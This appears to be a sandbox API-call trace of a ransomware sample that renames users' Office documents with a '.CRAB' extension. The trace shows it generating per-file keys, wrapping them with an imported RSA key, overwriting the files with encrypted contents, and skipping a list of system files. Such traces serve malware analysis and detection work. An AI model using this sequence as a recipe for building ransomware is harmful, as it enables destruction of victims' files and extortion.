	[0127.582] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt.CRAB"
	[0127.582] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt.CRAB.CRAB"
	[0127.582] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0127.584] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.584] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.584] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.584] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0127.584] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.584] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.584] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6eb78) returned 1
	[0127.586] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.586] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.587] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.587] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0127.587] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0127.587] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.587] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.587] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.587] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e6b0) returned 1
	[0127.589] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x318f478) returned 1
	[0127.589] CryptGetKeyParam (in: hKey=0x318f478, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0127.589] CryptEncrypt (in: hKey=0x318f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0127.589] GetLastError () returned 0x0
	[0127.589] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0127.589] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e9e0) returned 1
	[0127.591] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x318ee38) returned 1
	[0127.591] CryptGetKeyParam (in: hKey=0x318ee38, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0127.591] CryptEncrypt (in: hKey=0x318ee38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0127.591] GetLastError () returned 0x0
	[0127.591] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0127.592] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\1rnfm34w_947jmzhlle.ppt.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x22c
	[0127.592] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.592] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.592] ReadFile (in: hFile=0x22c, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x12c76, lpOverlapped=0x0) returned 1
	[0127.608] VirtualAlloc (lpAddress=0x0, dwSize=0x12c80, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.610] VirtualAlloc (lpAddress=0x0, dwSize=0x12c80, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0127.612] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.612] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0xfffed38a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.612] WriteFile (in: hFile=0x22c, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x12c80, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x3149f14*=0x12c80, lpOverlapped=0x0) returned 1
	[0127.613] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.613] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.617] WriteFile (in: hFile=0x22c, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0127.617] WriteFile (in: hFile=0x22c, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0127.617] WriteFile (in: hFile=0x22c, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0127.617] CloseHandle (hObject=0x22c) returned 1
	[0127.618] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.618] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.618] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.618] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.619] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.619] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.619] FindNextFileW (in: hFindFile=0x318f438, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0127.619] lstrcmpW (lpString1="a1NZChI6X281vQ.docx", lpString2=".") returned 1
	[0127.619] lstrcmpW (lpString1="a1NZChI6X281vQ.docx", lpString2="..") returned 1
	[0127.619] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\", lpString2="a1NZChI6X281vQ.docx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx"
	[0127.619] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.619] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx") returned 111
	[0127.620] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx") returned 111
	[0127.620] lstrlenW (lpString=".docx") returned 5
	[0127.620] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.620] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".docx ") returned 6
	[0127.620] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.620] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx") returned 111
	[0127.620] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx") returned 111
	[0127.620] lstrcmpiW (lpString1="a1NZChI6X281vQ.docx", lpString2="desktop.ini") returned -1
	[0127.620] lstrcmpiW (lpString1="a1NZChI6X281vQ.docx", lpString2="autorun.inf") returned -1
	[0127.620] lstrcmpiW (lpString1="a1NZChI6X281vQ.docx", lpString2="ntuser.dat") returned -1
	[0127.620] lstrcmpiW (lpString1="a1NZChI6X281vQ.docx", lpString2="iconcache.db") returned -1
	[0127.621] lstrcmpiW (lpString1="a1NZChI6X281vQ.docx", lpString2="bootsect.bak") returned -1
	[0127.621] lstrcmpiW (lpString1="a1NZChI6X281vQ.docx", lpString2="boot.ini") returned -1
	[0127.621] lstrcmpiW (lpString1="a1NZChI6X281vQ.docx", lpString2="ntuser.dat.log") returned -1
	[0127.621] lstrcmpiW (lpString1="a1NZChI6X281vQ.docx", lpString2="thumbs.db") returned -1
	[0127.621] lstrcmpiW (lpString1="a1NZChI6X281vQ.docx", lpString2="CRAB-DECRYPT.txt") returned -1
	[0127.621] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.621] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx.CRAB") returned 116
	[0127.621] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\a1nzchi6x281vq.docx")) returned 0x20
	[0127.621] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx", dwFileAttributes=0x20) returned 1
	[0127.622] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\a1nzchi6x281vq.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\a1nzchi6x281vq.docx.crab")) returned 1
	[0127.623] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.623] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx.CRAB"
	[0127.623] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx.CRAB.CRAB"
	[0127.623] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e5a0) returned 1
	[0127.626] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.627] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.627] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.627] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0127.627] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0127.627] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.627] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0127.630] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.630] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.630] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.631] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0127.631] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.631] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.631] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.631] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.631] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6eb78) returned 1
	[0127.634] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x318efb8) returned 1
	[0127.634] CryptGetKeyParam (in: hKey=0x318efb8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0127.634] CryptEncrypt (in: hKey=0x318efb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0127.635] GetLastError () returned 0x0
	[0127.635] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0127.635] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0127.640] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x318f6f8) returned 1
	[0127.640] CryptGetKeyParam (in: hKey=0x318f6f8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0127.640] CryptEncrypt (in: hKey=0x318f6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0127.641] GetLastError () returned 0x0
	[0127.642] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.642] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a1NZChI6X281vQ.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\a1nzchi6x281vq.docx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x22c
	[0127.643] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.643] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.644] ReadFile (in: hFile=0x22c, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0xecc0, lpOverlapped=0x0) returned 1
	[0127.714] VirtualAlloc (lpAddress=0x0, dwSize=0xecc0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.716] VirtualAlloc (lpAddress=0x0, dwSize=0xecc0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0127.717] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.718] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0xffff1340, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.718] WriteFile (in: hFile=0x22c, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xecc0, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x3149f14*=0xecc0, lpOverlapped=0x0) returned 1
	[0127.718] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.719] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.723] WriteFile (in: hFile=0x22c, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0127.723] WriteFile (in: hFile=0x22c, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0127.723] WriteFile (in: hFile=0x22c, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0127.723] CloseHandle (hObject=0x22c) returned 1
	[0127.723] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.724] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.724] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.724] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.724] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.725] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.725] FindNextFileW (in: hFindFile=0x318f438, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0127.725] lstrcmpW (lpString1="a8Gl IC.xlsx", lpString2=".") returned 1
	[0127.725] lstrcmpW (lpString1="a8Gl IC.xlsx", lpString2="..") returned 1
	[0127.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\", lpString2="a8Gl IC.xlsx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx"
	[0127.725] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.725] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx") returned 104
	[0127.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx") returned 104
	[0127.725] lstrlenW (lpString=".xlsx") returned 5
	[0127.725] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.726] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xlsx ") returned 6
	[0127.726] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx") returned 104
	[0127.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx") returned 104
	[0127.726] lstrcmpiW (lpString1="a8Gl IC.xlsx", lpString2="desktop.ini") returned -1
	[0127.726] lstrcmpiW (lpString1="a8Gl IC.xlsx", lpString2="autorun.inf") returned -1
	[0127.726] lstrcmpiW (lpString1="a8Gl IC.xlsx", lpString2="ntuser.dat") returned -1
	[0127.726] lstrcmpiW (lpString1="a8Gl IC.xlsx", lpString2="iconcache.db") returned -1
	[0127.726] lstrcmpiW (lpString1="a8Gl IC.xlsx", lpString2="bootsect.bak") returned -1
	[0127.726] lstrcmpiW (lpString1="a8Gl IC.xlsx", lpString2="boot.ini") returned -1
	[0127.726] lstrcmpiW (lpString1="a8Gl IC.xlsx", lpString2="ntuser.dat.log") returned -1
	[0127.726] lstrcmpiW (lpString1="a8Gl IC.xlsx", lpString2="thumbs.db") returned -1
	[0127.726] lstrcmpiW (lpString1="a8Gl IC.xlsx", lpString2="CRAB-DECRYPT.txt") returned -1
	[0127.726] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.727] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx.CRAB") returned 109
	[0127.727] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\a8gl ic.xlsx")) returned 0x20
	[0127.727] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\a8Gl IC.xlsx", dwFileAttributes=0x20) returned 1
